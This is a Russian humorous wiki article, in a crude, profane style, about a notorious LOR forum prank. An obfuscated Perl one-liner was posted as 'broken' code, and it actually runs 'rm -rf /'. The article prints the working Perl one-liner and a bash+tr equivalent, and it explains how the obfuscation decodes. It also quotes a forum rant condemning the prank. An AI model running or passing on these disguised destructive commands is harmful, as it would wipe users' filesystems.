Программа из одной строчки на Perl
Фраза Программа из одной строчки на Perl происходит из одноимённой темы раздела Development расово верного форума ЛОР, в которой коварный анонимус запостил скрипт на Perl, сетуя на то, что он не работает. На самом деле, в названии оригинальной темы была ошибка — «программа из одной строчки ни Perl».
Последствия
Как водится, скрипт был немедленно скопипащен в первый попавшийся шелл тысячами доверчивых пользователей, где и успешно выполнен. Вскоре начали появляться каменты типа «сука, блять, хорошо хоть рабочая станция. мудило блять...», что сподвигло суровых Perl-гуру всё-таки разобраться, что же на самом деле делает это коварное изделие. Вскоре от модератора Die-Hard поступило резюме о том, какую же команду скрипт выполняет.
Суть скрипта
Сабж выглядит вот так:
perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Те же яйца, но в профиль:
$var = "=]=>%-{<-|}<&|`{";
$var = tr{ !"#$%&'()*+,-./:;<=>?@[\]^_`{|}}
{`abcdefghijklmnopqrstuvwxyz{/" -};
eval($var);
То есть, сначала командой $??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;
во временную переменную записывается текст =]=>%-{<-|}<&|`{
, затем он транслитерируется (y; -/:-@[-`{-};`-{/« -;
) и превращается в команду system"rm -rf /"
, смысл которой понятен даже людям, с Perl не знакомым. Далее эта команда отдается на исполнение интерпретатору (s;;$_;see
). Скрипт использует ряд идиом Perl, усложняющих чтение исходного кода, но ему очень далеко до истинных шедевров в этой области.
Аудитория
Скрипт был рассчитан на лохов, работающих под рутом, и как следствие, потенциально удаливших весь корневой раздел со всей порнухой и смонтированными файловыми системами с порнухой. Сделано всё было исключительно ради лулзов, однако это породило целый мегафлейм, затрагивающий чуть менее, чем все моральные аспекты жизнедеятельности человеков. Как заметил другой анонимус:
А еще мы наверное кнопки канцелярские на стулья коллегам подбрасываем, да? А хули — смотреть надо куда садишься! Или веревки на уровне щиколоток натягиваем, что бы ламерье, которое под ноги не смотрит под общий смех таких же дебилов наебывалось. Тут вопрос то не в уровне квалификации! Блять, тут же не кроватка какаянить этож, нах, профешионал сосаити со всеми атрибутами. И ставить такой код — это все равно, что сунуть человеку раскаленный утюг с милой улыбкой: типа подержи пока.. Любой знает, что утюг может быть горячим, но как правило, такого уровня идиотского юмора просто не предполагаешь. Тем более, что у недоумков вроде автора этой веселой шутки, под управлением одна писюха под непонятно зачем поднятым на нем линухом. Нормальные люди окучивают по три-пять площадок одновременно и еще отвлекают, плюс бутерод и форума почитать — чтоб передохнуть. А тут перловая заковыристая строчка интересная вроде.. и блять умники — вот честно, кто одним махом понял чо за код? Первым делом какой позыв когда скрипт падает? Хуйнуть в первый же попавшийся шелл и посмотреть на ошибку интерпритатора, так? Короче, займись делом, шутник хуев. И когда ты лично хакер вонючий наступишь в кучу говна посреди темного лифта — помни, что это просто веселая шутка. Не будь ламером, всегда смотри куда наступаешь! Адье! ПС а ветку эту лучше оставить. В назидание.
Аналог на bash+tr
$(echo '%\%#{<-{}<&{`' |tr ' -/:-@[-`{}' '`-{/ -')2>/dev/null
Принцип действия абсолютно тот же самый.
Ссылки